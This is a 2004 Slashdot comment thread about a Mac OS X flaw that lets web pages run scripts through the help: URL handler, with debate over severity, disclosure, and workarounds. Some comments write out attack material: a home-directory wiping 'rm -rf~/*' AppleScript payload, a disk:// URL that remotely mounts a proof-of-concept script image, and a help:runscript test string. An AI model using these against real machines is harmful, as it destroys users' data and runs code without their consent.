The primary problem here is the use of a user's password to access all of the "system" ids. It's as if all the ids on the machine have the same password. This is nearly as insecure as not having passwords at all. Especially when you train your users to type their password whenever asked.

--
Those who do study history are doomed to stand helplessly by while everyone else repeats it.
Re:Um, what privilidges does it run at? by TheEnigma · 2004-05-18 17:25 · Score: 1

In addition, the Finder will always ask for a password, regardless whether it is blank or otherwise. So the "enter your password" window will come up. The user simply does not have to type anything in the password box.

--
Stand back. I've got a brain and I'm not afraid to use it.
Re:Um, what privilidges does it run at? by valmont · 2004-05-19 08:46 · Score: 1

Back in 2001, when i got a 400Mhz TiBook and some OS X 10.1 CDs, the first thing i did after wiping the drive and installing 10.1 from scratch, was to create two users: an admin user and a standard user with zero admin privileges.

I have upgraded all the way through today's system, Panther, with a hard drive transfer in the middle from my old TiBook to this new AlBook. Fast user switching and on-the-spot authentication for certain tasks make adminning a breeze while I always remain in my non-privileged user.

The fact still remains that i would get really damned pissed to lose all my shit in home directory, that's for sure. But this is where rsync, cron and anacron are my friends. At work and at home I have a remote share to which I rsync the contents of my home directory every day. But yeah, not many users do that. heh.

Apple needs to fucking plug that hole, *fast*.

--
Extraordinary Vacations. Exceptional Prices

Ummmmmm by metalhed77 · 2004-05-17 05:49 · Score: 2, Interesting

can someone please explain how this exploit made it into the browser. This seems so blindingly obvious. In fact, this seems like intended behavior.

--
Photos.

Re:Ummmmmm by I_Love_Pocky! · 2004-05-17 05:54 · Score: 3, Insightful

I would guess the team (or more possibly even the individual) working on the "help" system probably didn't have security as their top priority. Infact, I would be suprised if they even thought about it.

Been known since February by p0ppe · 2004-05-17 05:52 · Score: 5, Informative

According to a forum post on MacNN, this has been known since February...

--

"Democracy is three wolves and a sheep voting on what to have for dinner."

Yes, it probably is by Tor · 2004-05-17 05:54 · Score: 4, Insightful

I get the impression (only from the /. blurb so far) that this hole is, by orders of magnitude, more serious than anything reported for Mac OS X previously.

Most "vulnerabilites" previously reported for Mac OS X have been largely theoretical, obscure, and hardly any real threat (at least, when compared to the pretty high threshold of threat before anyting is considered a "flaw" in the Windows world).

Don't misunderstand, more serious stuff than this is pretty much standard fare for Windows (and sometimes on UNIX/Linux to, cf. "wu-ftpd", "bind", and "sendmail") - but for the Mac OS X platform, a flaw as "exploitable" as this is pretty unique.

'Course, if will probably be taken care of within a few days via "software update", if not already.

-tor

Re:Yes, it probably is by log0n · 2004-05-17 07:43 · Score: 2, Insightful

This is pretty much the same thing. There have to be 1, 2, 3, etc steps that all have to work, or you can't get the desired result. It's not a reproducable "bug". IMO, this is a kind of 'social engineering' stunt for OSX software (it takes advantage of a mindset more than actually breaking something in OSX).

$.02
Re:Yes, it probably is by log0n · 2004-05-17 07:57 · Score: 1

Actually I take it back. It's still more of a 'working your way around the rules of the system' than actually 'breaking the system' type of exploit, but the potential for serious problem is there.

Turn off Safe-Open and if you question the source of the file (i've always been a tinfoil hat member, but for the rest of you: be more paranoid) view the package contents and look for anything nasty.

$.02
Re:Yes, it probably is by 0x0d0a · 2004-05-17 10:32 · Score: 1

I get the impression (only from the /. blurb so far) that this hole is, by orders of magnitude, more serious than anything reported for Mac OS X previously.

There have been many, many, many holes that have come out against web browsers that allow local access with the level of access of the client given a malicious page. It was a bit worse during the heady days of the "web browser wars" when features were coming out every day, but it's certainly nothing particularly unheard of to have an attack against a web browser of this sort. The reason they weren't catastrophic is because the worst attacks present were generally not that awful. Sure, maybe a couple of web forums don't filter HTML well, and a couple people get nailed, but there's nothing like a huge worm hitting everyone regardless of machine use. Heck, KHTML has had exploitable holes before, which means Safari would be vulnerable.

Most "vulnerabilites" previously reported for Mac OS X have been largely theoretical, obscure, and hardly any real threat (at least, when compared to the pretty high threshold of threat before anyting is considered a "flaw" in the Windows world).

Don't misunderstand, more serious stuff than this is pretty much standard fare for Windows (and sometimes on UNIX/Linux to, cf. "wu-ftpd", "bind", and "sendmail") - but for the Mac OS X platform, a flaw as "exploitable" as this is pretty unique.

Err -- OS X isn't going to be better off than UNIX/Linux, as it's open to almost all attacks that those platforms are. If FreeBSD can get nailed via sendmail, so can OS X. Those other *IX platforms have been around for more years, so they have a larger security history. This is the kind of misleading credit that OS X gets that's a bit frusterating to me, since it really does not help folks make intelligent decisions.

'Course, if will probably be taken care of within a few days via "software update", if not already.

Yes -- this is exactly why I didn't think it was worth a story. There will be a few people compromised, but not a huge number, since most people aren't going to visit a page that can be maliciously altered in a couple of days, and Apple will push out an update in short order.

Anything that can be used by a worm and can be firewalled off is cause for concern -- getting the message out ASAP is priority. Any attack where malicious code can "push" itself is very bad. Attacks where malicious code can only be "pulled" in...just not such a big deal to have an issue like that for a few days.

--
May we never see th
Re:Yes, it probably is by danamania · 2004-05-17 11:33 · Score: 4, Informative

I get the impression (only from the /. blurb so far) that this hole is, by orders of magnitude, more serious than anything reported for Mac OS X previously.

There was one equally as bad, almost 18 months ago. I think it was August 2002.

a telnet:// URL could be used to do the same thing - with a pipe in the url, telnet could be run and piped out to another command that did anything an attacker wanted.

The good news that time was that a security update was released 9 hours after the discoverer (in japan) reported it to Apple.

Bad bug, quick fix. I hope the same applies in this case.
Re:Yes, it probably is by danamania · 2004-05-17 17:46 · Score: 1

> Bad bug, quick fix. I hope the same applies in this case.

Now I look at it closer Apple were supposedly notified in February, and this was publicly written up 10th of this month. 8 days ago.

Well that sucks.
Re:Yes, it probably is by Ilgaz · 2004-05-17 19:29 · Score: 1

I am kinda new Apple/OSX user coming from x86 world.

After that Intego concept story, I figured the worst security threat to OSX is its users themselves.

Poor French company got shot as messenger and I figured 98% of OSX users are in common misconception that OSX has NSA level security or something. Guess what? It hasn't.

By a little social engineering, you can have an awful strike against all macs on the world.

Guess what? Those lamers coding viruses are reading /. too and some of them are especially windows fanatics. So, sooner or after one of them will say "lets give a lesson to Apple zealots"...

I know a newspaper personally in Istanbul who doesn't run single antivirus on 500+ macs since "its not needed".
Re:Yes, it probably is by Tor · 2004-05-18 07:09 · Score: 2, Informative

Don't misunderstand, more serious stuff than this is pretty much standard fare for Windows (and sometimes on UNIX/Linux to, cf. "wu-ftpd", "bind", and "sendmail") - but for the Mac OS X platform, a flaw as "exploitable" as this is pretty unique.

Err -- OS X isn't going to be better off than UNIX/Linux, as it's open to almost all attacks that those platforms are. If FreeBSD can get nailed via sendmail, so can OS X.

The difference is in services enabled by default. No TCP/IP services are enabled by default under Mac OS X. Even SSH - if you want to be able to SSH to your OS X box, you first need to enable "Remote Login" in the Network settings of your Systems preferences.

Moreover, Mac OS X ships with Postfix, not Sendmail. Postfix has a better track record w.r.t. security.

Though it is true that it also ships with BIND, the name services are only available if you turn on "Internet Connection Sharing", and only for those interfaces that are "internal" (i.e. those you share your external connection with). The external connection still does not listen on UDP/53 or TCP/53.

Those other *IX platforms have been around for more years, so they have a larger security history. This is the kind of misleading credit that OS X gets that's a bit frusterating to me, since it really does not help folks make intelligent decisions.

You are misunderstanding the gist of what I was saying. Most 'standard' UNIX systems (with the exception of OpenBSD) come with a bunch of services that are applicable to server machines enabled, such as SMTP, DNS, HTTP, etc.. Mac OS X, while having "learned" in the sense that it includes the more secure alternatives of available software, also leave these services disabled by default.
Re:Yes, it probably is by 0x0d0a · 2004-05-18 07:22 · Score: 1

No TCP/IP services are enabled by default under Mac OS X.

And none of the ones that you're listing as attackable -- SMTP, DNS, HTTP, etc ship on, say, a Red Hat Linux box or have for years (once the userbase stopped being all sysadmins). I think the last release that had good ol' finger still around was 5.x. Oh, and I'm running postfix on my RH box, nicely packaged and all, and you can certainly install sendmail on Mac OS X, just like you can on any other *IXes. It's not *that* uncommon to use something from fink or something that doesn't come stock with OS X -- the only person that I personally know that uses OS X on a home machine runs Apache 2 on it, for instance.

My point is that it's absurd to compare a traditional *IX box of ten years ago to a Mac OS X box of today.

--
May we never see th
Re:Yes, it probably is by Tor · 2004-05-18 21:23 · Score: 1

And none of the ones that you're listing as attackable -- SMTP, DNS, HTTP, etc ship on, say, a Red Hat Linux box or have for years (once the userbase stopped being all sysadmins)

To be accurate, SMTP (via Sendmail) is enabled by default in RedHat 9, though it only listens on the loopback interface.

Moreover, the following other services are enabled by default (though they may be protected by "iptables" if you use the "lokkit" setup): IPP (via cupsd), LPD (via BSD lpd), portmap (!), and sshd.

Nonetheless, that's an astonishing improvement over previous RedHat sins, even as late as v6.2, where a machine was guaranteed to be 0wn3d within 15 minutes of gaining internet access, courtesy of wu-ftpd.

Oh, and I'm running postfix on my RH box, nicely packaged and all, and you can certainly install sendmail on Mac OS X, just like you can on any other *IXes. It's not *that* uncommon to use something from fink or something that doesn't come stock with OS X -- the only person that I personally know that uses OS X on a home machine runs Apache 2 on it, for instance.

Sure. I run OSXvnc for one thing (basically so that I can share one keyboard/mouse by using "x2vnc" from my Solaris box in the middle to my Mac on the left (and do a similar thing for my Debian box on the right)). Earlier, I used my Mac at home as my internet gateway, and installed Exim on it to receive my mail. Etc.

This is irrelevant, however, to the discussion at hand. Here we were talking about default configurations, in systems as they are shipped. Like it or not, that's how 75% of users will leave them.

My point is that it's absurd to compare a traditional *IX box of ten years ago to a Mac OS X box of today.

Well, you made that comparison, not me. Anyway, my point is that even today, most UNIX and Linux (including RedHat) systems come shipped with lots of services enabled by default, with the exception of Mac OS X (and OpenBSD).
Re:Yes, it probably is by 0x0d0a · 2004-05-18 22:53 · Score: 1

To be accurate, SMTP (via Sendmail) is enabled by default in RedHat 9, though it only listens on the loopback interface.

And this means that it is only vulnerable to local exploit.

RH9 is also two major releases old. Look at the current Red Hat release -- FC2 -- and you will find not one open port in a default out-of-box workstation install.

For a brief illustration of OS X security issues, may I point you to here?

Nonetheless, that's an astonishing improvement over previous RedHat sins, even as late as v6.2, where a machine was guaranteed to be 0wn3d within 15 minutes of gaining internet access, courtesy of wu-ftpd.

Oh, for Chrissake. That was, what, a year before Mac OS X was even *out*? Windows 2000 had barely been released. I admit that 6.2 was when the Linux userbase was definitely moving away from the "everyone's a sysadmin or *IX hobbyist stage", and so it would have behooved them to have wu-ftpd off by default, but you're having to look a lot of releases back here.

If you want to consider that ancient timeframe and mention local exploits as you did above, consider the fact that the Mac OS of the time had effectively no local security, either on the filesystem or in memory.

Well, you made that comparison, not me. Anyway, my point is that even today, most UNIX and Linux (including RedHat) systems come shipped with lots of services enabled by default, with the exception of Mac OS X (and OpenBSD).

And my point is that this is not the case.

--
May we never see th
Re:Yes, it probably is by valmont · 2004-05-19 10:45 · Score: 1

I'll have to agree with you here.

See a more detailed analysis of the scope this problem in this post.

This post also confirms my suspicions

It is bad. A very bad issue. This needs fixing RIGHT NOW. Why is this thing not getting more press coverage?

--
Extraordinary Vacations. Exceptional Prices

Try Camino by Tor · 2004-05-17 05:58 · Score: 2, Informative

http://www.mozilla.org/projects/camino/

IMHO the best Mac OS X browser out there, even more so than Safari. Faster, per-site cookie policies, per-site popup blocking, ...

Be sure to get the latest snapshot release (updated daily), as the 0.7 release is getting a bit old.

Tts look and feel is more consistent with other Mac OS X apps (such as Mail.app) than Safari. (Safari looks more like a Finder window.)

Re:Try Camino by I_Love_Pocky! · 2004-05-17 06:11 · Score: 1

I'm not a big fan of Camino, but I will be using it unitl this exploit is fixed... I personally prefer Safari, becasue it looks like the finder. I wish all OSX apps had the brushed steel look.
Re: Try Camino by gidds · 2004-05-17 06:17 · Score: 3, Informative

I wish all OS X apps had the brushed steel look.
Then load up Metallifizer, and they all will!

--
Ceterum censeo subscriptionem esse delendam.
Re:Try Camino by geoffspear · 2004-05-17 06:27 · Score: 4, Insightful

From the Full Disclosure article, it does not appear that switching to another browser will help a bit. This is NOT a flaw in Safari, but a flaw in the way the OS handles help: URLs. Any browser that uses the system's settings to decide what helper application to use for a given URL is vulnerable, and any browser that doesn't obey those settings is a badly behaved app.
Fortunately, changing the app that handles help: URLs fixes the problem; unfortunately, OS X by default doesn't include a utility to change those settings. (Actually, IIRC Internet Explorer can do it, creating the irony that you need to use IE to fix a vulnerability in an y other browser. Or get a third-party utility).

--
Don't blame me; I'm never given mod points.

Workaround by fsck! · 2004-05-17 06:02 · Score: 4, Insightful

rm -rf /Applications/Help.app

This awful help tool is as bad as they come. It's clumsy, slow, and most of the help appears to be online anyway. Apple should just make Safari the help browser to begin with. I haven't examined this much, but it looks like thelp documentation is XML or HTML anyway.

Re:Workaround by klui · 2004-05-17 06:55 · Score: 3, Informative

It's not there under Panther. Issue
sudo chmod 000 /System/Library/CoreServices/Help\ Viewer.app
instead. Of course, you should be using OS X as a non-root user. Root will be able to run the help subsystem without any trouble.
Re:Workaround by andreMA · 2004-05-17 07:22 · Score: 1

Hmms, I don't seem to have "Help.app" in /Applications, but I do have (and removed) "/System/Library/CoreServices/Help\ Viewer.app" -- in Panther. Is it in /Applications in Jaguar? I don't recall...
In any case, invoking the (largely useless IMO) "help" in any app now simply does nothing.
Re:Workaround by pudge · 2004-05-17 07:25 · Score: 1

Yeah, Help Viewer just blows, and it always has. I can use Google about 10x faster than Help Viewer, and with fewer crashes.
Re:Workaround by fsck! · 2004-05-17 07:30 · Score: 1

Apparently, i really haven't examined this much. Thanks to those who pointed out the correct path to the help browser.

(The iBook is at home and I'm at work, where the only apples are in the breakroom.)
Re:Workaround by gravix · 2004-05-17 11:06 · Score: 0

Actually, the help browser _IS_ Safari. Both Safari and the Help Viewer use Apple's Webkit to display HTML, so they are essentially the same program. Help Viewer has features like "Reload" and "Stop" removed because such features are not important for offline browsing.
Re:Workaround by Anonymous Coward · 2004-05-17 11:16 · Score: 0

"I can use Google about 10x faster than Help Viewer, and with fewer crashes."

And you get better information.

The "help" files are so rudimentary they're usually useless. I don't think I've ever found what I wanted in Apple's Help.
Re:Workaround by Ilgaz · 2004-05-17 19:19 · Score: 1

Delete Help application instead of using another browser like Mozilla Camino, Opera or even IE for mac (yes I like it) is beyond my understanding.

Do not delete help! Use another browser which has own rendering engine (not Omni or iCab), wait for fix. You won't die or become windows user if you don't use Safari for couple of days. :)
Re:Workaround by benedict · 2004-05-19 05:57 · Score: 1

This is not a Safari nor a Webcore issue. It is a Mac OS X issue.
I do not know of any web browser that is not affected.

--
Ben "You have your mind on computers, it seems."

Well... by chromaphobic · 2004-05-17 06:04 · Score: 1

...I'd been thinking about kicking Safari to the curb in favor of Firefox for a while now anyway. Seems like a pretty good impetus to finally do so.

Not that I'm jerking any knees or anything, I'm just so used to using Firefox on Windows all day at work that I miss some of it's functionality when I get home. This gives me a convenient excuse to make the switch. :)

Simple Temporary Workaround by TomSawyer · 2004-05-17 06:09 · Score: 4, Informative

I downloaded MisFox 1.2.1 and changed the Help Protocol Helper to Chess. For good measure I unchecked "Open 'safe' files after downloading" in the general preferences of Safari.

--
If you disagree then it must be overrated, redundant or trolling.

HA HA HA by zulux · 2004-05-17 06:10 · Score: 4, Funny

I SO GLAD MY TRS-80 COCO ISENT
VULNERABLE TO THIS. ALL YOU PE
OPLE WITH FANCY GUI COMPUTERS
WILL REGRET IT SOME DAY.

OK
?
OK
?

(Lameness filter encountered. Post aborted!
Reason: Don't use so many caps. It's like YELLING.)

--

Moneyed corporations, non-working 'poor' and criminal prisoners are turning productive citizens into tax-slaves.

Pudge, you got it WRONG! More serious than this. by theolein · 2004-05-17 06:15 · Score: 0, Flamebait

Jesus, pudge, you reject my story where it is mentioned that YOU DON'T NEED AUTO OPENING OF "SAFE FILES" TURNED ON FOR THIS TO WORK and then post some lame arse submission that gets it wrong.

Fact 1. Using the disk:// URL type, and sticking it in a Meta refresh tag, you can remotely mount a disk image without the user even knowing. It DOES NOT need auto open of safe files to be turned on.

Fact 2. If the disk image is small, which it would be if there's only an Applescript on it with 'do shellscript="rm -rf~/*" ', then getting the user to click on a link that runs the script a few seconds later is easy and you could even do it via javascript and automate the whole thing.

Fact 3. Pudge your sarcastic "from the let's publish it so everyone knows who to do it" is a blatant stupidity. Jesus fuck. This vulnerability was on Heise.de on Saturday. It may be news to you, pudge, but one hell of a lot of people read and visit heise's site. Not everyone is an English only American.

Fact 4. And this makes me especially mad at you, you clown, for using this submission instead of mine, is that I submitted a workaround (point the .help extension to the chess app) and a link where to get software to do this (because you can't do it from the GUI in OSX as you could in OS9).

Grow up pudge and use your brains instead of your zealotry.

All OS X browsers affected? by tetsuotheironman · 2004-05-17 06:23 · Score: 5, Interesting

this exploit also works in Camino as far as I can tell (although I didn't have it set to automount images) using recenet nightly build. I also tried it in IE and it was able to open Help.app without problems..

Re:All OS X browsers affected? by Graff · 2004-05-17 06:36 · Score: 1

this exploit also works in Camino as far as I can tell (although I didn't have it set to automount images) using recenet nightly build.

It semi-works in OmniWeb 4.5. The download happens, the help tries to open the script, but the downloaded file is not automounted so the script is not there. So OmniWeb is safe simply because it doesn't automount dmg files.

--
Sapere aude!
Re:All OS X browsers affected? by Anonymous Coward · 2004-05-17 06:53 · Score: 0

OmniWeb is not safe, because a malicious web site could use the disk: protocol to remotely mount the disk image.
Re:All OS X browsers affected? by Graff · 2004-05-17 10:34 · Score: 1

a malicious web site could use the disk: protocol to remotely mount the disk image.

Hmm, I just tried this and I can't get OmniWeb 4.5 to mount a disk on my own system using this. Do you mean that using the disk: protocol could get your computer to remotely mount a disk on someone else's server and then use the browser to execute a script on that remotely mounted disk?

--
Sapere aude!
Re:All OS X browsers affected? by Anonymous Coward · 2004-05-17 10:45 · Score: 2, Informative

Yes, that's what I mean.

The remote mounting works only in 10.3 and later, but it works in all browsers including OmniWeb. Use the following URL to remotely mount the concept disk image for example:

disk://www.free-go.net/insecure/safari/0x04_scri pt .dmg
Re:All OS X browsers affected? by Graff · 2004-05-17 12:46 · Score: 1

The remote mounting works only in 10.3 and later, but it works in all browsers including OmniWeb.

Yep, that mounted the remote disk. Very interesting...

--
Sapere aude!
Re:All OS X browsers affected? by Anonymous Coward · 2004-05-17 16:34 · Score: 0

icab 2.9.8 seems safe.

possible scenario by Anonymous Coward · 2004-05-17 06:25 · Score: 4, Insightful

Help-team: let's base our help app on html, which is the de-facto standard markup language now. Oh, and let's give it the ability to launch scripts, so we can give live demo's in the help files.

Browser-team: of course we're not going to let scripts with full user-privileges run from within the browser by default, that's idiotic. Who do you think we are, Microsoft? Hey, the help app is based on html right? Let's stick a help: protocol in the URL handler, that would be convenient.

Re:Pudge, you got it WRONG! More serious than this by Paradise+Pete · 2004-05-17 06:31 · Score: 0

point the .help extension to the chess app) and a link where to get software to do this (because you can't do it from the GUI in OSX

I think you can. Find a .help file, right-click, open with..., navigate to chess app, click check-box "always open with."

But maybe I misunderstood.

Re:Pudge, you got it WRONG! More serious than this by Anonymous Coward · 2004-05-17 06:35 · Score: 1, Insightful

You misunderstood.

Setting .help files (those don't even exist on Mac OS X) to something else is of no use. You need to set the help: protocol to something else than Help Viewer.

Doesn't Work in 10.2.x by greenhide · 2004-05-17 06:37 · Score: 4, Interesting

I have not been able to recreate this exploit in OS X 10.2.8.

Apparently, only versions 10.3.x are affected.

--
Karma: Chevy Kavalierma.

Re:Doesn't Work in 10.2.x by Anonymous Coward · 2004-05-17 07:36 · Score: 1, Informative

Running 10.2.8 on a G5 and the example performed exactly as described
Re:Doesn't Work in 10.2.x by ahunter · 2004-05-17 07:58 · Score: 1

Possibly because the 10.2 help application used its own (crappy) HTML renderer rather than WebKit, so the help: protocol doesn't exist.

It's a bit of a design flaw, really. Why is the help: protocol registered globally at all? There really isn't a good reason for doing that, I don't think (unless [NSURLProtocol registerClass:] registers globally. In which case, that's a HUGE design flaw). The help: protocol exists to allow the help application to run local scripts: this flaw is there by design!
Re:Doesn't Work in 10.2.x by teridon · 2004-05-17 09:46 · Score: 1

The example exploit worked on my OS X 10.2.8 box.

--
I hold it, that a little rebellion, now and then, is a good thing. -- Thomas Jefferson
Re:Doesn't Work in 10.2.x by V50 · 2004-05-17 23:32 · Score: 1

Works "fine" on my PowerBook running 10.2.8.

Re:Pudge, you got it WRONG! More serious than this by pudge · 2004-05-17 06:38 · Score: 1

Well, he only misunderstood because the guy he is responding to was incorrect: he is the one that mentioned .help extensions, instead of the help: protocol.

Also, MSIE allows changing it, and it is included with Mac OS X (though yes, lack of real UI access to these prefs is a big problem).

Changing the settings by marklark · 2004-05-17 06:42 · Score: 5, Informative

Here's where you can get a utility that allows you to change these settings: More Internet - http://www.monkeyfood.com/software/moreInternet/

Re:Changing the settings by Anonymous Coward · 2004-05-17 14:10 · Score: 1, Funny

I'm afraid to click on a URL containing "monkeyfood" in it in this kind of thread.
Re:Changing the settings by marklark · 2004-05-18 00:53 · Score: 1

:^) Just make sure that your browser is set to NOT process downloaded files automagically. *sigh*

Other browsers also affected by swotl · 2004-05-17 06:45 · Score: 5, Informative

The vulnerability was first discovered in Opera, and was later found to also exist in Konqueror of KDE fame. Since Safari is based on the Konqueror code, that's probably where it came from.

--
- sig sig sputnik

Re:Other browsers also affected by swotl · 2004-05-17 06:51 · Score: 0, Offtopic

Oh, and by the way - I am implying that Opera is based on core KDE originated libraries - something they've so far claimed it is not. They're LGPL'ed so it's probably no legal problem - but it kinda stinks.

--
- sig sig sputnik
Re:Other browsers also affected by Anonymous Coward · 2004-05-17 07:15 · Score: 0

this has nothing to see ?
HelpViewer code and runscript are OSX only things. OSX ONLY.
Re:Other browsers also affected by Have+Blue · 2004-05-17 09:02 · Score: 3, Informative

That's because it's not a bug in any one browser, it's a bug in the way the Help application (which is invoked by the OS and any browser that uses the standard API to handle help: URLs) handles those URLs. This bug is the same concept as an SQL injection attack.

Re:Pudge, you got it WRONG! More serious than this by pudge · 2004-05-17 06:46 · Score: 2, Informative

As to your Facts 1, 2 and 4: The submission was not incorrect, it merely didn't contain all the information. Instead, we linked to all the information, which is what we do on Slashdot. Sorry if you don't like it (not not really), and boo-hoo that didn't get your name in lights.

And your Fact 4 is not a workaround as you claim, it is a way to disable Help, which causes its own problem.

As to your Fact 3: you missed the point: I was criticizing the publication of the exploit, not stories about the exploit. Perhaps Apple was at fault for not contacting the people who submitted it, I don't know. I don't have enough information to tell. The only thing I do know is that this is the wrong way to do it; whose fault it is, I can't tell.

Because you apparently don't understand, and since I am such a nice, bright, guy, I'll explain: when you find an exploit, you should notify the people who can fix it (i.e., Apple). Apple should get back to you, and keep you apprised of the situation, and if Apple follows through with all this, you should NOT release the information to the public until it has been fixed. Whether Apple received the initial exploit report, or responded, is not clear (though it wouldn't surprise me if they did receive it, and did not respond). But again, clearly, this was not released the way it should have been, and that was my point.

Re:Pudge, you got it WRONG! More serious than this by Anonymous Coward · 2004-05-17 07:03 · Score: 0

> And your Fact 4 is not a workaround as you claim, it is a way to disable Help, which causes its own problem.

Uh, that's exactly what a workaround is: a temporary solution that might cause loss of functionality. If it didn't, it would be as good as the final solution. (E.g., a workaround for the various DCOM exploits on Windows is to disable DCOM in the registry).

> Whether Apple received the initial exploit report, or responded, is not clear

According to the thread in macnn, Apple has been aware of this at least since Februari, but hasn't said or done anything so far.

didn't work by slughead · 2004-05-17 07:08 · Score: 1

hey safari users, click ~/poop.txt">here! and watch in amazement as.. NOTHING HAPPENS! what this should've done is created a list of your root directory and put it in ~/poop.txt .. but it didn't, why? because it has to be an apple script that exists.. now if apple has an applescript that erases stuff in the same path on every install, that'd be one thing, but what this proof of concept showed is that you have to know the path to the script, and the script has to do something. That's why they had you download and automount the dmg, so on every OS X install the path would be /Volumes/0x04_script/0x04_script.term .. otherwise, it's pretty well useless. You have get the user to download the code by themselves before you may execute it. Yes, it's a bad exploit and they sure as hell better fix it but I set my DMGs to not automount a LONG TIME AGO.

--
Latewire

Re:didn't work by Anonymous Coward · 2004-05-17 07:27 · Score: 4, Informative

> You have get the user to download the code by themselves before you may execute it.

You probably only need to direct them to your website, the rest can be done automatically with javascript and refresh.

> but I set my DMGs to not automount a LONG TIME AGO.

That won't help as images following disk:// will still automount. The workaround is to redirect the help: protocol to a different app.

Re:Pudge, you got it WRONG! More serious than this by pudge · 2004-05-17 07:09 · Score: 1

According to the thread in macnn, Apple has been aware of this at least since Februari, but hasn't said or done anything so far.

And since Apple did not respond, how does anyone know they were aware of it? Question everything ...

Re:Pudge, you got it WRONG! More serious than this by Captain+Pedantic · 2004-05-17 07:10 · Score: 0, Offtopic

Normally, people who don't get 'their' submission accepted are the biggest whiners on Slashdot, so I'd be on your side.

However, if it is true that you don't need have "auto opening of safe files" turned on, then you have done a lot of your Mac-using readers a disservice (eg: these.) How about a quick correction?

--

None are more hopelessly enslaved than those who falsely believe they are free. Johann Wolfgang von Goethe.

MOD PARENT DOWN by pediddle · 2004-05-17 07:10 · Score: 0, Flamebait

This hint was taken directly from the article...

Blatant karma whore!

Re:Pudge, you got it WRONG! More serious than this by jdb8167 · 2004-05-17 07:12 · Score: 4, Informative

You can find an application to fix the remote exploit here:

MisFox

Tab to the Protocol Helpers, find help:, choose a different application. I used TextEdit.

You can verify that the exploit is disabled by cutting and pasting the following to your Safari Address Bar:

help:runscript=../../Scripts/Info Scripts/Current Date & Time.scpt

TextEdit runs, but the (harmless) script doesn't.

Wake up! by theolein · 2004-05-17 07:13 · Score: 1, Flamebait

1. YOUR submission was incorrect! This vulnerability works in ALL browsers!

2. The workaround IS a goddamn workaround and IT DOES work, and IT DOESN't disable help! Jesus almighty, try it out, it merely disable running help from the browser, not running help from an application.

3. Apple was warned TWO MONTHS ago about this vulnerability! It was openly published on Heise on Saturday. It was all over Mac forums in Germany and the US over the weekend.

4. Since it was openly known (and with no response from Apple for two months), you nice bright guy, I decided to submit a COMPLETE story with a working workaround (it really does work pudge) in order to help Mac users protect themselves, not because of wanting to be in anyone's highlights.

I am going to mail Taco about this pudge. You are guilty, IMO, of neglecting a very serious security vulnerability on OSX, and then neglecting to actually check the facts and then finally post a story that does only helps the knowledge of the exploit spread but with no help to users, and that soley because YOU do not agree with a FACT (it was already known). Disgusting.

Re:Wake up! by l-ascorbic · 2004-05-18 11:42 · Score: 1

You may have some salient points, but your indignant, self-important posturing makes you sound like a whining twat. Grow up.
Re:Wake up! by Anonymous Coward · 2004-05-18 20:57 · Score: 0

What do you expect from Slashdot? This site is full of shit. It is not about protecting users or anything, it is about making money through ads. Why the hell do you think they are giving so many anti-Microsoft bullshit?

OS X Mail also by stang7423 · 2004-05-17 07:19 · Score: 5, Interesting

I wonder if this is possible from OS X mail also. Mail uses webcore to render html and probably shares some settings. The downloading of the dmg is provoked by a meta tag, so unless mail strips meta info from e-mail then this could affect mail as well. That eventuality could potentially be a much larger issue than the current method of execution. Especially since mail will render html and images unless the mail is marked junk.

Re:OS X Mail also by emilymildew · 2004-05-17 12:11 · Score: 1

Right, it renders html and images unless you're smart enough to turn them off in all messages.

Is that possible in OE anymore? (Not being snide, actually asking a question.)
Re:OS X Mail also by useosx · 2004-05-17 15:07 · Score: 1

You're not going to be able to configure Mail to automatically mount a dmg file.
Re:OS X Mail also by Anonymous Coward · 2004-05-17 18:21 · Score: 1, Interesting

But can it automatically run an applescript? It's not just dmg files.
Re:OS X Mail also by useosx · 2004-05-18 07:31 · Score: 1

You can set it to run an Applescript of your own design, but it's not going to run an Applescript that's attached or linked to.

Re:Pudge, you got it WRONG! More serious than this by Anonymous Coward · 2004-05-17 07:21 · Score: 0

There has already been a minor flame war on MacNN over this. lixlpixel has spent some effort to make Apple aware of the issue, so you're left with two options: either Apple reacts rather slowly, or it's pretty hard to make Apple aware of the issue.

Re:Pudge, you got it WRONG! More serious than this by pudge · 2004-05-17 07:22 · Score: 1

The current submission is not incorrect. It states the fact that automounting images can allow a known path to a script. It doesn't say there are not other methods for getting a known path to a script; it doesn't even imply it. This guy mentioned one additional method, and there are likely others. If I give his method, then people disable disk: protocol; then what? It's a false sense of security, since the path is not the real problem, it is Help Viewer that is the problem.

Re:Pudge, you got it WRONG! More serious than this by mst76 · 2004-05-17 07:38 · Score: 1

> If I give his method, then people disable disk: protocol; then what?

Actually that would be a very good thing. If people conciously disabled autolaunching .dmg's I bet they would also like to know about (and disable) automounting through disk://.

Re:Pudge, you got it WRONG! More serious than this by jdb8167 · 2004-05-17 07:39 · Score: 1

As for the current information, the only known exploit is with Apple's help: protocol. Disabling the help: protocol from the browser, which is surely not that important does plug that remote exploit.

Many people are looking to make sure that this kind of exploit isn't possible from another proprietary protocol handler. If another one shows up, I'm sure the information will be available quickly.

Reassociate term files.... by shrapnull · 2004-05-17 08:00 · Score: 1

You can "Get Info" and reassociate .term files to BBEdit for the time being...it kills remote terminal calls in OS X.

It's not a fix, but it'll keep the more heinous stuff from wreaking havok until a patch is applied...

--
If you're half as beautiful naked, you'd be 4 times as beautiful with twice as many clothes on.

Re:Pudge, you got it WRONG! More serious than this by Anonymous Coward · 2004-05-17 08:03 · Score: 1, Funny

> Also, MSIE allows changing it, and it is included with Mac OS X

Using MSIE to workaround an OS X security issue, imagine that!

Open "safe" files after downloading by Anonymous Coward · 2004-05-17 08:03 · Score: 1, Interesting

I knew there was a reason that the word 'safe' was quoted in the General tab in Safari's preferences. I guess that same reason is why deselected it...

This doesn't solve the problem, I know, but does lessen it's severity somewhat.

Re:Pudge, you got it WRONG! More serious than this by pudge · 2004-05-17 08:10 · Score: 1

I have no trouble believing this. I made it clear I was not blaming anyone in particular, but noting that it was the situation that was problematic. If Apple is to blame, so be it, but I don't feel confident in asserting that.

Hmmm by Anonymous Coward · 2004-05-17 08:26 · Score: 1

Am I the only one who doesn't keep ANY files in my home directory? All of my files of importance are encrypted in folders on the root of my hard drive. I've come to realize that the Home directory is is what most viruses, or malicouse code will attempt to attack, so, why put files there? Just because it's the default, doesn't mean you have to use it.

It'd be like keeping all of your documents in the documents folder. How many people actually do that?

Re:Hmmm by Bingo+Foo · 2004-05-18 05:09 · Score: 1

To be extra safe, you should remove your write permissions from those encrypted folders too.

--
taken! (by Davidleeroth) Thanks Bingo Foo!

Re:Pudge, you got it WRONG! More serious than this by theolein · 2004-05-17 08:41 · Score: 0, Troll

